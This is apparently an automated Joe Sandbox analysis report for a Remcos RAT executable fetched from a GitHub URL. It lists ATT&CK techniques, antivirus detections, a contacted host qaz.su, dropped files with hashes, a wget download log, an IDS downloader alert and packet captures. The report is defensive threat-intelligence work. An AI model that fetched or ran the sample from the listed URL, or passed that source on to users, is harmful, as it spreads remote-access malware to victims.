Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	100%	Avira	HEUR/AGEN.1313721
C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.RealProtectPENGSD

Source	Detection	Scanner	Label
http://qaz.su	0%	Avira URL Cloud	safe
http://qaz.im	0%	Avira URL Cloud	safe
https://qaz.su/style.css?v=2	0%	Avira URL Cloud	safe
https://qaz.su/disclaimer	0%	Avira URL Cloud	safe
https://qaz.su/index.php?a=download&q=file_not_exist	0%	Avira URL Cloud	safe
https://qaz.su/index.php?a=admin	0%	Avira URL Cloud	safe
http://qaz.sud	0%	Avira URL Cloud	safe
https://qaz.su/load/rTE6bi/b733f346-f3cc-4059-b212-d58a8e4d2f06	0%	Avira URL Cloud	safe
https://qaz.su/js/jquery.js	0%	Avira URL Cloud	safe
http://microsoft.coCn	0%	Avira URL Cloud	safe
https://qaz.su/privacy	0%	Avira URL Cloud	safe
https://qaz.su/favicon.ico	0%	Avira URL Cloud	safe
https://qaz.su/	0%	Avira URL Cloud	safe
https://qaz.su/js/jquery-1.12.4.min.js	0%	Avira URL Cloud	safe
https://qaz.su/index.php?a=user	0%	Avira URL Cloud	safe
https://qaz.su/tos	0%	Avira URL Cloud	safe
http://qaz.is	0%	Avira URL Cloud	safe
https://qaz.su/contact	0%	Avira URL Cloud	safe
https://qaz.su/js/jquery.tipsy.js	0%	Avira URL Cloud	safe
https://qaz.su	0%	Avira URL Cloud	safe
https://qaz.su/css/font-awesome.css	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
qaz.su	80.87.203.251	true	false	unknown
github.com	140.82.114.4	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe	false		high
https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe	false		high
https://qaz.su/load/rTE6bi/b733f346-f3cc-4059-b212-d58a8e4d2f06	false	Avira URL Cloud: safe	unknown
https://qaz.su/index.php?a=download&q=file_not_exist	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://qaz.su	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://qaz.im	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exeT	wget.exe, 00000002.00000003.1321521516.0000000002B5A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://qaz.su/disclaimer	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://qaz.su/style.css?v=2	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.	wget.exe, 00000002.00000002.1321859775.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exeta	wget.exe, 00000002.00000002.1321812511.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://qaz.su/js/jquery.js	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://microsoft.coCn	Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://qaz.sud	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exex	wget.exe, 00000002.00000003.1321521516.0000000002B5A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://qaz.su/index.php?a=admin	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/privacy	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/favicon.ico	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/js/jquery-1.12.4.min.js	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/contact	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/index.php?a=user	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/js/jquery.tipsy.js	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su/tos	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://qaz.su	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D33000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D48000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D33000.00000004.00000800.00020000.00000000.sdmp	false		high
http://qaz.is	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exeRxz	wget.exe, 00000002.00000003.1321521516.0000000002B5A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://qaz.su/css/font-awesome.css	Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.114.4	github.com	United States	36459	GITHUBUS	false
80.87.203.251	qaz.su	Russian Federation	29182	THEFIRST-ASRU	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644538
Start date and time:	2025-03-20 17:01:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	urldownload.jbs
Sample URL:	https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.evad.win@6/7@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.71.93.126, 184.31.69.3, 40.126.24.84, 20.12.23.50, 23.96.180.189, 150.171.27.10, 23.44.201.36
Excluded domains from analysis (whitelisted): www.bing.com, onedsblobvmssprdeus02.eastus.cloudapp.azure.com, fs.microsoft.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, g.bing.com, umwatson.events.data.microsoft.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Remcos-RAT-3.8.0.exe, PID 8472 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe

Simulations

Behavior and APIs

Time	Type	Description
12:02:25	API Interceptor	10x Sleep call for process: Remcos-RAT-3.8.0.exe modified
12:02:29	API Interceptor	1x Sleep call for process: WerFault.exe modified

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Remcos-RAT-3.8.0_49286858951b77cb2f1ba97a9ed96f965fe4bf_9847541d_3409a2bc-e599-490d-a8a3-a4b27d629ba6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.166358160959894
Encrypted:	false
SSDEEP:	192:e3g73Xf0BU/KaGc+LyIZzuiFWZ24IO8U:t738BU/KaPcDZzuiFWY4IO8U
MD5:	AA4085EDAD3376FBD07FD37693179D06
SHA1:	12F85DDA1C118303DE355C8315E0179437C267B5
SHA-256:	5B0AFF85F85097BEC523F990F152A8CC87921BDD7EACE958417303336BA439AF
SHA-512:	8551C679644461CC626436036E6F09FFB23F57F79F0A6252D696104633CDEAB8945B8F7B565D07E242FD711DDD8FFEF77D3B15F5B377E72F52C46E4CF360A6F9
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.6.9.6.0.1.4.7.4.9.0.3.5.1.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.6.9.6.0.1.4.8.1.6.2.2.1.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.0.9.a.2.b.c.-.e.5.9.9.-.4.9.0.d.-.a.8.a.3.-.a.4.b.2.7.d.6.2.9.b.a.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.2.5.5.9.3.2.0.-.2.8.3.9.-.4.4.2.3.-.8.c.d.d.-.0.c.5.d.7.1.f.3.d.1.5.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.m.c.o.s.-.R.A.T.-.3...8...0...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.y.s.t.e.m.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.1.1.8.-.0.0.0.1.-.0.0.1.8.-.3.5.6.0.-.e.3.7.7.b.1.9.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.2.9.a.c.f.7.d.2.5.1.c.8.5.7.6.1.5.c.8.a.d.2.8.9.9.e.1.3.f.a.a.0.0.0.0.0.0.0.0.!.0.0.0.0.d.1.8.a.8.9.6.1.0.c.4.a.b.5.f.f.7.3.5.3.2.a.6.0.8.e.3.b.a.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER70B5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Mar 20 16:02:27 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	298658
Entropy (8bit):	3.558159919841817
Encrypted:	false
SSDEEP:	3072:id6uX7LTgJjnyesRZzHtC5Pym2p4uEqSB:iguX/TgdnyesTNC5kp4b
MD5:	A554BBD33E151D20B0D07F2C7E20BC83
SHA1:	700D51F3D34844683E0366D0E497E3E72D07177E
SHA-256:	F523A12F071B21A007B250592873361EFA3DA30AE0F758A24434548DD5F5A04A
SHA-512:	B04A9A4717FD334799E28F971D395960A80662DE41CBF956D23958BFEA280EB3ED34F093EFB9AB2F522B88C3EDEC075D065869E8B4F86E79CD39A0B4D07D0EDA
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........<.g....................................<....(......4$..Hc..........`.......8...........T............U...9..........L(..........8..............................................................................eJ.............GenuineIntel............T........!...<.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER725C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8430
Entropy (8bit):	3.695416714182132
Encrypted:	false
SSDEEP:	192:R6l7wVeJh8686YV4ySU9p350WjgmfZnJprV89bm2dZsfrim:R6lXJ6686YqySU9pWWjgmfJWm2dyfP
MD5:	7CDC999EA885600E2D21A2B4D4D0AB04
SHA1:	07644A9E82A461D2C2FD924075688C464A7B3886
SHA-256:	95C047FEFD0305B8683D939BB77D1C929FEDCF58F34B88A6D45C2006E350B008
SHA-512:	4B5C428751F47037A0697405B3D5DB354754CDEDF9131EFB0EACF7128E29D9E1D66735AD7B234B2A9F6C7F70FF09A6EDCFB338C456606221904EEC575C84BFAA
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.4.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER728C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4777
Entropy (8bit):	4.4848571345548205
Encrypted:	false
SSDEEP:	48:cvIwWl8zs0Jg77aI916WOa8tLYm8M4JkW3FOj+q8v1WLQBCBYd:uIjfyI7H7Ol0JyjKmgCBYd
MD5:	974F2DABBAFE42D974AB4BB5F0EEF3ED
SHA1:	A0419E1E8BE9213250978B427EE68E778FBFABE7
SHA-256:	0A42166BC162BB2DE7FC527A204C964E799957B316B04628B8BA7E042ABAC1FD
SHA-512:	E7EC9F8846FE8D2B29A6DE70AC4576276FCDFFE9F2DBB817557CB39BD0B2BBE3C7F1DF96E3382C8EEE42792956D15B455EF8455520D6ADC283660318BA622D57
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="769385" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\Desktop\cmdline.out

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1113
Entropy (8bit):	5.215768150205967
Encrypted:	false
SSDEEP:	24:bu+no51DxePnSMGs+2U9ovzEMGs+2tMGjMGYvMGjMGG6xePg+I3Pb9SMvQPb9SpP:bTnobDiO2vXO2ux6x565b9SYyb9S/Z
MD5:	1A39C2FC4E006B0C9A98E781D497BAE6
SHA1:	0ACFD42206EE553D01C490AD9FABDBDB03066BCA
SHA-256:	7EB876DBB755A0E534B803DBD0CE19B4B675D172D033006304AFDFFDA89B5AE9
SHA-512:	D439DA555A5320E2F0124A8A92DCB5C66B9E805B77696BE95B3946DBACE23F05CADEE2991E048191431E960D7D7394345188B7805D31F936DD3D031C1A4B4141
Malicious:	false
Reputation:	low
Preview:	--2025-03-20 12:02:20-- https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe..Resolving github.com (github.com)... 140.82.114.4..Connecting to github.com (github.com)\|140.82.114.4\|:443... connected...HTTP request sent, awaiting response... 302 Found..Location: https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe [following]..--2025-03-20 12:02:21-- https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe..Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, .....Connecting to raw.githubusercontent.com (raw.githubusercontent.com)\|185.199.110.133\|:443... connected...HTTP request sent, awaiting response... 200 OK..Length: 7168 (7.0K) [application/octet-stream]..Saving to: 'C:/Users/user/Desktop/download/Remcos-RAT-3.8.0.exe'.... 0K ....... 100% 240K=0.03s.

C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Download File

Process:	C:\Windows\SysWOW64\wget.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.6253897524833
Encrypted:	false
SSDEEP:	96:oz4/c4Kr6GgZ2+dzcMsio1ZafV/WyDhh1e35YZNW+hC/zNt:64KuG+2I5xfVWyDhh1eG10p
MD5:	6166F997B4BB3428AE0D9D4B4E1F0DB2
SHA1:	D18A89610C4AB5FF73532A608E3BA0038D6146E0
SHA-256:	3E3EF95E4D20E1CF759021D91F834B6F2C82A1A9DBAB3CAB1605A55BC85D5BE5
SHA-512:	087BE6857F602A648C612C9C849560C8C803182BF08BBDBC41F58EB17E28A1822DED1B1FB45C9A007722B6C6A19754671159A0A3510CC80188D3C145AB5A297C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..............0... ...@....@.. ....................................`..................................0..O....@.......................`......./..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................0......H........"..............4/...............................................0...........r...p(............9o....r...p..(......r5..p(........9..........(.....rc..p.......(.....r...pr\|..p...(......s..........r...p.(....o.........,...o...........(.....r...p.(....(....&.....(.....~....r...p.o.........(....o......8.....rc..p.......(.....r5..p....(....&s...........r..p.(....o..........(.....r..p.(....(....&.....(.....~....r...p.o.........(....o..........,...o...........(..........(.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.461264989737572
Encrypted:	false
SSDEEP:	6144:L52cwMWh0HQdcETgP70KkM8NqaCskjPrWBYCw6o+u8O/zvX9smlYXgTw:d2n8BkRFBYCfkDztFlVw
MD5:	8B226B9E848ED00CD479374CBB0EAF3B
SHA1:	7BABDC192C0F62327CD59ECE7B33850878C1A5BF
SHA-256:	9348D3FFFC195722D68F94191CD82822AE7410D21BA1142752DD64171AF73A6C
SHA-512:	050BFED7EE0FD7E71EE51E333C8AF8914EBE0E12EAB8AF7C8727E4101EB0539387F45BD349F88E57E5FD8B4E5D5E62CAFDE913C2A5F356B954DD0844C713DAD5
Malicious:	false
Reputation:	low
Preview:	regfL...L....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...z...................................................................................................................................................................................................................................................................................................................................................N........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-20T17:02:28.362047+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49725	80.87.203.251	443	TCP

Network Port Distribution

Total Packets: 41
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 17:02:22.185954094 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:22.185995102 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.186096907 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:22.187686920 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:22.187717915 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.401119947 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.401485920 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:22.403250933 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:22.403259039 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.403748035 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.405354023 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:22.448329926 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.678725004 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:22.733056068 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:23.103673935 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:23.103691101 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:23.103749037 CET	49722	443	192.168.2.5	140.82.114.4
